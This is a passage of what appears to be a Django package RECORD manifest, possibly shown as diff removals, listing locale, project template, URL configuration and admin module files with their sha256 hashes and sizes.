-django/conf/locale/ky/formats.py,sha256=QCq7vxAD5fe9VhcjRhG6C3N28jNvdzKR-c-EvDSJ1Pg,1178 -django/conf/locale/lb/LC_MESSAGES/django.mo,sha256=tQSJLQUeD5iUt-eA2EsHuyYqsCSYFtbGdryATxisZsc,8008 -django/conf/locale/lb/LC_MESSAGES/django.po,sha256=GkKPLO3zfGTNync-xoYTf0vZ2GUSAotAjfPSP01SDMU,20622 -django/conf/locale/lt/LC_MESSAGES/django.mo,sha256=cdUzK5RYW-61Upf8Sd8ydAg9wXg21pJaIRWFSKPv17c,21421 -django/conf/locale/lt/LC_MESSAGES/django.po,sha256=Lvpe_xlbxSa5vWEossxBCKryDVT7Lwz0EnuL1kSO6OY,28455 -django/conf/locale/lt/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/lt/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/lt/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/lt/formats.py,sha256=C9ScR3gYswT1dQXFedUUnYe6DQPVGAS_nLxs0h2E3dE,1637 -django/conf/locale/lv/LC_MESSAGES/django.mo,sha256=10z9xnK1OfrN5LfCH-FGLsdXe7bbm3A8bDLnW6zw7YU,29228 -django/conf/locale/lv/LC_MESSAGES/django.po,sha256=ZjLdIMRbDJ4ZYgCR96hhv94J-lBvO6WE0hTYAzt1uDM,32030 -django/conf/locale/lv/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/lv/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/lv/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/lv/formats.py,sha256=k8owdq0U7-x6yl8ll1W5VjRoKdp8a1G2enH04G5_nvU,1713 -django/conf/locale/mk/LC_MESSAGES/django.mo,sha256=uQKmcys0rOsRynEa812XDAaeiNTeBMkqhR4LZ_cfdAk,22737 -django/conf/locale/mk/LC_MESSAGES/django.po,sha256=4K11QRb493wD-FM6-ruCxks9_vl_jB59V1c1rx-TdKg,29863 -django/conf/locale/mk/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/mk/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/mk/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/mk/formats.py,sha256=xwnJsXLXGogOqpP18u6GozjehpWAwwKmXbELolYV_k4,1451 -django/conf/locale/ml/LC_MESSAGES/django.mo,sha256=MGvV0e3LGUFdVIA-h__BuY8Ckom2dAhSFvAtZ8FiAXU,30808 -django/conf/locale/ml/LC_MESSAGES/django.po,sha256=iLllS6vlCpBNZfy9Xd_2Cuwi_1-Vz9fW4G1lUNOuZ6k,37271 -django/conf/locale/ml/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ml/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ml/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ml/formats.py,sha256=ZR7tMdJF0U6K1H95cTqrFH4gop6ZuSQ7vD2h0yKq6mo,1597 -django/conf/locale/mn/LC_MESSAGES/django.mo,sha256=T8B76Nv_h6nCsTENPSAag_oGc67uj-fMy0jfHyQ7WLI,33282 -django/conf/locale/mn/LC_MESSAGES/django.po,sha256=uaXe-9Y8KcNBAij69nU0Id1ABE6q_pyNRhqigKGlzZY,35852 -django/conf/locale/mn/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/mn/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/mn/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/mn/formats.py,sha256=fsexJU9_UTig2PS_o11hcEmrbPBS8voI4ojuAVPOd_U,676 -django/conf/locale/mr/LC_MESSAGES/django.mo,sha256=wDaS4FOhKcxM7mhzwItieazQ_qBp97ZaKhTZgETDXt0,27608 -django/conf/locale/mr/LC_MESSAGES/django.po,sha256=6eBOK9ZgqrvD1pdIa3NtXojHx-qw_WJLxtNdCkEelrg,34449 -django/conf/locale/ms/LC_MESSAGES/django.mo,sha256=U4_kzfbYF7u78DesFRSReOIeVbOnq8hi_pReFfHfyUQ,27066 -django/conf/locale/ms/LC_MESSAGES/django.po,sha256=49pG3cykGjVfC9N8WPyskz-m7r6KmQiq5i8MR6eOi54,28985 -django/conf/locale/ms/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ms/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ms/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ms/formats.py,sha256=YtOBs6s4j4SOmfB3cpp2ekcxVFoVGgUN8mThoSueCt0,1522 -django/conf/locale/my/LC_MESSAGES/django.mo,sha256=SjYOewwnVim3-GrANk2RNanOjo6Hy2omw0qnpkMzTlM,2589 -django/conf/locale/my/LC_MESSAGES/django.po,sha256=b_QSKXc3lS2Xzb45yVYVg307uZNaAnA0eoXX2ZmNiT0,19684 -django/conf/locale/nb/LC_MESSAGES/django.mo,sha256=qX1Z1F3YXVavlrECVkHXek9tsvJEXbWNrogdjjY3jCg,27007 -django/conf/locale/nb/LC_MESSAGES/django.po,sha256=QQ_adZsyp2BfzcJS-LXnZL0EMmUZLbnHsBB1pRRfV-8,29500 -django/conf/locale/nb/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/nb/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/nb/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/nb/formats.py,sha256=y1QLE-SG00eHwje0lkAToHtz4t621Rz_HQRyBWCgK8c,1552 -django/conf/locale/ne/LC_MESSAGES/django.mo,sha256=BcK8z38SNWDXXWVWUmOyHEzwk2xHEeaW2t7JwrxehKM,27248 -django/conf/locale/ne/LC_MESSAGES/django.po,sha256=_Kj_i2zMb7JLU7EN7Z7JcUn89YgonJf6agSFCjXa49w,33369 -django/conf/locale/nl/LC_MESSAGES/django.mo,sha256=n4OoqdJ2AIj7wfEBmaQsQAvzUox66eYYZLHD-0nuy24,28038 -django/conf/locale/nl/LC_MESSAGES/django.po,sha256=Yd8q1HkDYm2Uo2dSeuT9AjUHOQtB9oAAh9pg7AaT3gs,30998 -django/conf/locale/nl/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/nl/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/nl/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/nl/formats.py,sha256=cKaaOvRdeauORjvuZ1xyVcVsl36J3Zk4FSE-lnx2Xwg,3927 -django/conf/locale/nn/LC_MESSAGES/django.mo,sha256=Ccj8kjvjTefC8H6TuDCOdSrTmtkYXkmRR2V42HBMYo4,26850 -django/conf/locale/nn/LC_MESSAGES/django.po,sha256=oaVJTl0NgZ92XJv9DHdsXVaKAc81ky_R3CA6HljTH-8,29100 -django/conf/locale/nn/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/nn/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/nn/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/nn/formats.py,sha256=y1QLE-SG00eHwje0lkAToHtz4t621Rz_HQRyBWCgK8c,1552 -django/conf/locale/os/LC_MESSAGES/django.mo,sha256=LBpf_dyfBnvGOvthpn5-oJuFiSNHrgiVHBzJBR-FxOw,17994 -django/conf/locale/os/LC_MESSAGES/django.po,sha256=WYlAnNYwGFnH76Elnnth6YP2TWA-fEtvV5UinnNj7AA,26278 -django/conf/locale/pa/LC_MESSAGES/django.mo,sha256=H1hCnQzcq0EiSEaayT6t9H-WgONO5V4Cf7l25H2930M,11253 -django/conf/locale/pa/LC_MESSAGES/django.po,sha256=26ifUdCX9fOiXfWvgMkOXlsvS6h6nNskZcIBoASJec4,23013 -django/conf/locale/pl/LC_MESSAGES/django.mo,sha256=VoTIHWbC0XLJqpS4wAea5jiDSQpQ8NfaD3XL7u9c3vg,30719 -django/conf/locale/pl/LC_MESSAGES/django.po,sha256=50d1hkVl8pFesmnjAv2uXRRHogyoqCCdles57H0N7P0,34679 -django/conf/locale/pl/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/pl/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/pl/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/pl/formats.py,sha256=KREhPtHuzKS_ZsAqXs5LqYPGhn6O-jLd4WZQ-39BA8I,1032 -django/conf/locale/pt/LC_MESSAGES/django.mo,sha256=MFr-uCyeW67BfxBWsfHfM0k-Z36SFnT0sDPL7fF5y8s,21427 -django/conf/locale/pt/LC_MESSAGES/django.po,sha256=KHB-fSOokH6O6m9ZgW3vUq0I4VBayV4Ip1vxePlRqvs,28080 -django/conf/locale/pt/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/pt/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/pt/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/pt/formats.py,sha256=RQ9MuIwUPhiY2u-1hFU2abs9Wqv1qZE2AUAfYVK-NU8,1520 -django/conf/locale/pt_BR/LC_MESSAGES/django.mo,sha256=4mM2UEHa1sbwQjlHbxhpGRafRyWyQs56zJ8d3nzNMD4,29218 -django/conf/locale/pt_BR/LC_MESSAGES/django.po,sha256=SvnvurlGJ2QutJGKbGmdAQ55QllPuDqAyDjF0ZYadSA,33298 -django/conf/locale/pt_BR/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/pt_BR/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/pt_BR/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/pt_BR/formats.py,sha256=J1IKV7cS2YMJ5_qlT9h1dDYUX9tLFvqA95l_GpZTLUY,1285 -django/conf/locale/ro/LC_MESSAGES/django.mo,sha256=9RSlC_3Ipn_Vm31ALaGHsrOA1IKmKJ5sN2m6iy5Hk60,21493 -django/conf/locale/ro/LC_MESSAGES/django.po,sha256=XoGlHKEnGlno_sbUTnbkg9nGkRfPIpxv7Wfm3hHGu9w,28099 -django/conf/locale/ro/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ro/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ro/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ro/formats.py,sha256=e_dp0zyfFfoydrGyn6Kk3DnQIj7RTRuvRc6rQ6tSxzA,928 -django/conf/locale/ru/LC_MESSAGES/django.mo,sha256=Y9QMees4Kj3WQDoAtCcugQh2Ky1_ZoaU-vSyTckDxnk,38774 -django/conf/locale/ru/LC_MESSAGES/django.po,sha256=zWmJpjWwpKPnoCjIEKOjclbxBjWf6dwgwoJdnTEx0Jc,42141 -django/conf/locale/ru/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ru/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ru/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ru/formats.py,sha256=lTfYbecdSmHCxebog_2bd0N32iD3nEq_f5buh9il-nI,1098 -django/conf/locale/sk/LC_MESSAGES/django.mo,sha256=2UgS2LCSCPEhJV4R2LQXxGw1LvAZMvi6B1ITaVD_x_U,29965 -django/conf/locale/sk/LC_MESSAGES/django.po,sha256=vt-A2Ayh5r-a49x3lLxe8FU7tm-S2YQHRk-N15smi9k,32799 -django/conf/locale/sk/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/sk/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/sk/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/sk/formats.py,sha256=bWj0FNpYfOAgi9J-L4VuiN6C_jsgPsKNdLYd9gTnFs0,1051 -django/conf/locale/sl/LC_MESSAGES/django.mo,sha256=1mzO4ZC9IYwbKM7iavLJfb2bYaLaC1UVmm4T37Xil7g,23147 -django/conf/locale/sl/LC_MESSAGES/django.po,sha256=EDR734fFO7UM_F-4Q-psEHc-VF2po7fl6n5akKdWYyY,29440 -django/conf/locale/sl/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/sl/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/sl/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/sl/formats.py,sha256=Nq4IfEUnlGebMZeRvB2l9aps-5G5b4y1kQ_3MiJTfe8,1642 -django/conf/locale/sq/LC_MESSAGES/django.mo,sha256=F-aD9n_Z-mvRkF_A7oPgsYB6XyaBKvniBGdHzXFckA4,28772 -django/conf/locale/sq/LC_MESSAGES/django.po,sha256=Z2-A9zXYkrhH2JbNuutX5E7Tq17U1Z4EgSEulkiVXDU,31279 -django/conf/locale/sq/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/sq/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/sq/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/sq/formats.py,sha256=SA_jCSNwI8-p79skHoLxrPLZnkyq1PVadwT6gMt7n_M,688 -django/conf/locale/sr/LC_MESSAGES/django.mo,sha256=kDxODAVghPzZzL4TpXJ7kP_Qo8ine8ETuP_471f4d8s,35028 -django/conf/locale/sr/LC_MESSAGES/django.po,sha256=yH1xOGj3gGx6MzB7zGrKOznfPRDW452KdIt9MCMjNKo,37554 -django/conf/locale/sr/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/sr/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/sr/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/sr/formats.py,sha256=F3_gYopOXINcllaPFzTqZrZ2oZ1ye3xzR0NQtlqXYp0,1729 -django/conf/locale/sr_Latn/LC_MESSAGES/django.mo,sha256=GHilyEVbIGQt6ItMgQJVk-m6TF8tgHI4rtidYmOwUGI,28715 -django/conf/locale/sr_Latn/LC_MESSAGES/django.po,sha256=FegpyTDYtB-kPG8d8EmK_lK3C7PSxhc2p9xLAZadO74,41466 -django/conf/locale/sr_Latn/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/sr_Latn/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/sr_Latn/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/sr_Latn/formats.py,sha256=BDZm-ajQgCIxQ8mCcckEH32IoCN9233TvAOXkg4mc38,1728 -django/conf/locale/sv/LC_MESSAGES/django.mo,sha256=sLEVlvxPVNVms8Tfmhxs84Ltbx7ryDZtwU54SGJXKRc,28006 -django/conf/locale/sv/LC_MESSAGES/django.po,sha256=Emb4MrDT_fsFdZRhixZztQVgYb5Wl-YpsR8bC9yY3hs,30872 -django/conf/locale/sv/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/sv/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/sv/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/sv/formats.py,sha256=9o8ZtaSq1UOa5y6Du3rQsLAAl5ZOEdVY1OVVMbj02RA,1311 -django/conf/locale/sw/LC_MESSAGES/django.mo,sha256=aUmIVLANgSCTK5Lq8QZPEKWjZWnsnBvm_-ZUcih3J6g,13534 -django/conf/locale/sw/LC_MESSAGES/django.po,sha256=GOE6greXZoLhpccsfPZjE6lR3G4vpK230EnIOdjsgPk,22698 -django/conf/locale/ta/LC_MESSAGES/django.mo,sha256=WeM8tElbcmL11P_D60y5oHKtDxUNWZM9UNgXe1CsRQ4,7094 -django/conf/locale/ta/LC_MESSAGES/django.po,sha256=kgHTFqysEMj1hqktLr-bnL1NRM715zTpiwhelqC232s,22329 -django/conf/locale/ta/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ta/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ta/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ta/formats.py,sha256=vmjfiM54oJJxqcdgZJUNNQN7oMS-XLVBYJ4lWBb5ctY,682 -django/conf/locale/te/LC_MESSAGES/django.mo,sha256=Sk45kPC4capgRdW5ImOKYEVxiBjHXsosNyhVIDtHLBc,13259 -django/conf/locale/te/LC_MESSAGES/django.po,sha256=IQxpGTpsKUtBGN1P-KdGwvE7ojNCqKqPXEvYD3qT5A4,25378 -django/conf/locale/te/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/te/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/te/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/te/formats.py,sha256=-HOoZgmnME4--4CuXzcnhXqNma0Wh7Ninof3RCCGZkU,680 -django/conf/locale/tg/LC_MESSAGES/django.mo,sha256=ePzS2pD84CTkHBaiaMyXBxiizxfFBjHdsGH7hCt5p_4,28497 -django/conf/locale/tg/LC_MESSAGES/django.po,sha256=oSKu3YT3griCrDLPqptZmHcuviI99wvlfX6I6nLJnDk,33351 -django/conf/locale/tg/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/tg/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/tg/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/tg/formats.py,sha256=TG5TGfLNy4JSjl-QAWk46gIEb0ijdBpqPrDtwfJzshw,1160 -django/conf/locale/th/LC_MESSAGES/django.mo,sha256=SJeeJWbdF-Lae5BendxlyMKqx5zdDmh3GCQa8ER5FyY,18629 -django/conf/locale/th/LC_MESSAGES/django.po,sha256=K4ITjzHLq6DyTxgMAfu3CoGxrTd3aG2J6-ZxQj2KG1U,27507 -django/conf/locale/th/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/th/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/th/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/th/formats.py,sha256=SmCUD-zVgI1QE2HwqkFtAO87rJ-FoCjw1s-2-cfl1h0,1072 -django/conf/locale/tk/LC_MESSAGES/django.mo,sha256=qtFLB9rBkpUDv5LtNAZqkkCKtquMySyg3dzQ8x_Nb-Y,27792 -django/conf/locale/tk/LC_MESSAGES/django.po,sha256=dEjcfeYmvjKbAPFVCmrlh7rVOU90MgiYpoo1cHfPj2E,30232 -django/conf/locale/tk/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/tk/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/tk/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/tk/formats.py,sha256=TG5TGfLNy4JSjl-QAWk46gIEb0ijdBpqPrDtwfJzshw,1160 -django/conf/locale/tr/LC_MESSAGES/django.mo,sha256=uH2Uu81XQaQeoizE-5eUHIba-V1Mr7q1smGHd0Aug7k,28862 -django/conf/locale/tr/LC_MESSAGES/django.po,sha256=2hMb5M7ZIpp-QIXGox-1OJEVmBUTl4nXErLfhYpeOaY,31453 -django/conf/locale/tr/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/tr/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/tr/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/tr/formats.py,sha256=yJg-7hmevD1gvj9iBRMCiYGgd5DxKZcL7T_C3K3ztME,1019 -django/conf/locale/tt/LC_MESSAGES/django.mo,sha256=r554DvdPjD_S8hBRjW8ehccEjEk8h7czQsp46FZZ_Do,14500 -django/conf/locale/tt/LC_MESSAGES/django.po,sha256=W8QgEAH7yXNmjWoF-UeqyVAu5jEMHZ5MXE60e5sawJc,24793 -django/conf/locale/udm/LC_MESSAGES/django.mo,sha256=cIf0i3TjY-yORRAcSev3mIsdGYT49jioTHZtTLYAEyc,12822 -django/conf/locale/udm/LC_MESSAGES/django.po,sha256=n9Az_8M8O5y16yE3iWmK20R9F9VoKBh3jR3iKwMgFlY,23113 -django/conf/locale/ug/LC_MESSAGES/django.mo,sha256=iaFelEuogA9O-dWIUlp_Zjpq33zMNaFCsOpuZT26LfM,35467 -django/conf/locale/ug/LC_MESSAGES/django.po,sha256=Zd3j_J7Su7VTe6TGd8ghDBD2bxX1NLKfA2wsrHPvS2w,37731 -django/conf/locale/ug/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ug/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ug/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ug/formats.py,sha256=qoSAkaWqJ7FW2OTGaZs_CfiMN9PxAVxHecZfwNCzdUo,454 -django/conf/locale/uk/LC_MESSAGES/django.mo,sha256=n1YrNtVEZr75_N5CMcbYZmzxUOMi5miny3GRaMyKKh8,30829 -django/conf/locale/uk/LC_MESSAGES/django.po,sha256=XraKjvG_kJhJ19fNEIKoXt7r19J-l-e8wQoemW6_FBw,36731 -django/conf/locale/uk/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/uk/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/uk/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/uk/formats.py,sha256=ZmeYmL0eooFwQgmE054V36RQ469ZTfAv6k8SUJrDYQ8,1241 -django/conf/locale/ur/LC_MESSAGES/django.mo,sha256=M6R2DYFRBvcVRAsgVxVOLvH3e8v14b2mJs650UlUb2I,12291 -django/conf/locale/ur/LC_MESSAGES/django.po,sha256=Lr0DXaPqWtCFAxn10BQ0vlvZIMNRvCg_QJQxAC01eWk,23479 -django/conf/locale/uz/LC_MESSAGES/django.mo,sha256=CJSRoHJANkNevG-6QM-TL5VJ9UgS63dWPHeGHan9Ano,26443 -django/conf/locale/uz/LC_MESSAGES/django.po,sha256=u6En3LJg7x7VKsCNff3haprDlsizPxBukfWomKXaMak,29725 -django/conf/locale/uz/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/uz/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/uz/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/uz/formats.py,sha256=cdmqOUBVnPSyi2k9AkOGl27s89PymFePG2gtnYzYbiw,1176 -django/conf/locale/vi/LC_MESSAGES/django.mo,sha256=TMsBzDnf9kZndozqVUnEKtKxfH2N1ajLdrm8hJ4HkYI,17396 -django/conf/locale/vi/LC_MESSAGES/django.po,sha256=tL2rvgunvaN_yqpPSBYAKImFDaFaeqbnpEw_egI11Lo,25342 -django/conf/locale/vi/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/vi/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/vi/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/vi/formats.py,sha256=_xIugkqLnjN9dzIhefMpsJXaTPldr4blKSGS-c3swg0,762 -django/conf/locale/zh_Hans/LC_MESSAGES/django.mo,sha256=pc4Tj52sDX136DQQsxtNKQ2pqCnmLZdZlVlTtyfz124,26944 -django/conf/locale/zh_Hans/LC_MESSAGES/django.po,sha256=qzXCLkD580Q8MzmbBFtTzaMecalBsMrZFzJiNJrD_sk,30141 -django/conf/locale/zh_Hans/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/zh_Hans/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/zh_Hans/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/zh_Hans/formats.py,sha256=iMb9Taj6xQQA3l_NWCC7wUlQuh4YfNUgs2mHcQ6XUEo,1598 -django/conf/locale/zh_Hant/LC_MESSAGES/django.mo,sha256=RJfNK_dA3spzHwExqy2B3TcEfAC_RZGusr0Kk9xv8Fk,26818 -django/conf/locale/zh_Hant/LC_MESSAGES/django.po,sha256=9lbNGnzOaKBG2YsGruAIAzWaKU9irMkJl74SNEHNLoU,29061 -django/conf/locale/zh_Hant/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/zh_Hant/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/zh_Hant/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/zh_Hant/formats.py,sha256=iMb9Taj6xQQA3l_NWCC7wUlQuh4YfNUgs2mHcQ6XUEo,1598 -django/conf/project_template/manage.py-tpl,sha256=JDuGG02670bELmn3XLUSxHFZ8VFhqZTT_oN9VbT5Acc,674 -django/conf/project_template/project_name/__init__.py-tpl,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/project_template/project_name/asgi.py-tpl,sha256=q_6Jo5tLy6ba-S7pLs3YTK7byxSBmU0oYylYJlNvwHI,428 -django/conf/project_template/project_name/settings.py-tpl,sha256=WL949LQPZMyvet9W5G1yL9PMcDPZ6RWqbCcjbe9ZozU,3282 -django/conf/project_template/project_name/urls.py-tpl,sha256=5en0vlo3TdXdQquXZVNENrmX2DZJxje156HqcRbySKU,789 -django/conf/project_template/project_name/wsgi.py-tpl,sha256=OCfjjCsdEeXPkJgFIrMml_FURt7msovNUPnjzb401fs,428 -django/conf/urls/__init__.py,sha256=qmpaRi5Gn2uaY9h3g9RNu0z3LDEpEeNL9JlfSLed9s0,292 -django/conf/urls/__pycache__/__init__.cpython-311.pyc,, -django/conf/urls/__pycache__/i18n.cpython-311.pyc,, -django/conf/urls/__pycache__/static.cpython-311.pyc,, -django/conf/urls/i18n.py,sha256=M_lO6q_92QrrPoTY9oui95BQgJfPla9edRNuN5Vc4GM,1166 -django/conf/urls/static.py,sha256=gZOYaiIf3SxQ75N69GyVm9C0OmQv1r1IDrUJ0E7zMe0,908 -django/contrib/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/__pycache__/__init__.cpython-311.pyc,, -django/contrib/admin/__init__.py,sha256=i0TwjHWq6qfZJ0e9pVWAZXxVHZ-eOPewGjtdwHljbOM,1203 -django/contrib/admin/__pycache__/__init__.cpython-311.pyc,, -django/contrib/admin/__pycache__/actions.cpython-311.pyc,, -django/contrib/admin/__pycache__/apps.cpython-311.pyc,, -django/contrib/admin/__pycache__/checks.cpython-311.pyc,, -django/contrib/admin/__pycache__/decorators.cpython-311.pyc,, -django/contrib/admin/__pycache__/exceptions.cpython-311.pyc,, -django/contrib/admin/__pycache__/filters.cpython-311.pyc,, -django/contrib/admin/__pycache__/forms.cpython-311.pyc,, -django/contrib/admin/__pycache__/helpers.cpython-311.pyc,, -django/contrib/admin/__pycache__/models.cpython-311.pyc,, -django/contrib/admin/__pycache__/options.cpython-311.pyc,, -django/contrib/admin/__pycache__/sites.cpython-311.pyc,, -django/contrib/admin/__pycache__/tests.cpython-311.pyc,, -django/contrib/admin/__pycache__/utils.cpython-311.pyc,, -django/contrib/admin/__pycache__/widgets.cpython-311.pyc,, -django/contrib/admin/actions.py,sha256=gOSd7rrFjIL1HxDSP8yJ36ie7J9DH06M_wsH9QvSFGM,3181 -django/contrib/admin/apps.py,sha256=BOiulA4tsb3wuAUtLGTGjrbywpSXX0dLo2pUCGV8URw,840 -django/contrib/admin/checks.py,sha256=KkyUfKtosw8cRETN3RSvPO2NOPgdEUjOt1ilnFMYvBM,50474 -django/contrib/admin/decorators.py,sha256=dki7GLFKOPT-mB5rxsYX12rox18BywroxmrzjG_VJXM,3481 -django/contrib/admin/exceptions.py,sha256=VJhzurallXV322hhZklmvp3OmDIZZQpbEOuE-CX7938,507 -django/contrib/admin/filters.py,sha256=xWca0wsA_fGlkgV9mAXA3RipmXvj8EKaumU4f_Kyk9s,27668 -django/contrib/admin/forms.py,sha256=0UCJstmmBfp_c_0AqlALJQYy9bxXo9fqoQQICQONGEo,1023 -django/contrib/admin/helpers.py,sha256=9StpoEjTZH30IP0hRVZJJjGf-nKWfnMwD3enQuPNhII,18620 -django/contrib/admin/locale/af/LC_MESSAGES/django.mo,sha256=GgKqAhO9cxtkT9rw89vM_vvQCJuXU7-dC6C9QPIgcsQ,17709 -django/contrib/admin/locale/af/LC_MESSAGES/django.po,sha256=eJAIkGbwtMY5ukNCkbmFculcUWVuTzZlTZlHElQIkpw,19078 -django/contrib/admin/locale/af/LC_MESSAGES/djangojs.mo,sha256=eD8mj7MPFSc6GEmwpGLs7lE7w0CKc1EuZ2GcEwWRF0U,5390 -django/contrib/admin/locale/af/LC_MESSAGES/djangojs.po,sha256=xBcNbFhUtTYjQfCqfqRDQdsVrgau1_3032-whoiNzCM,6172 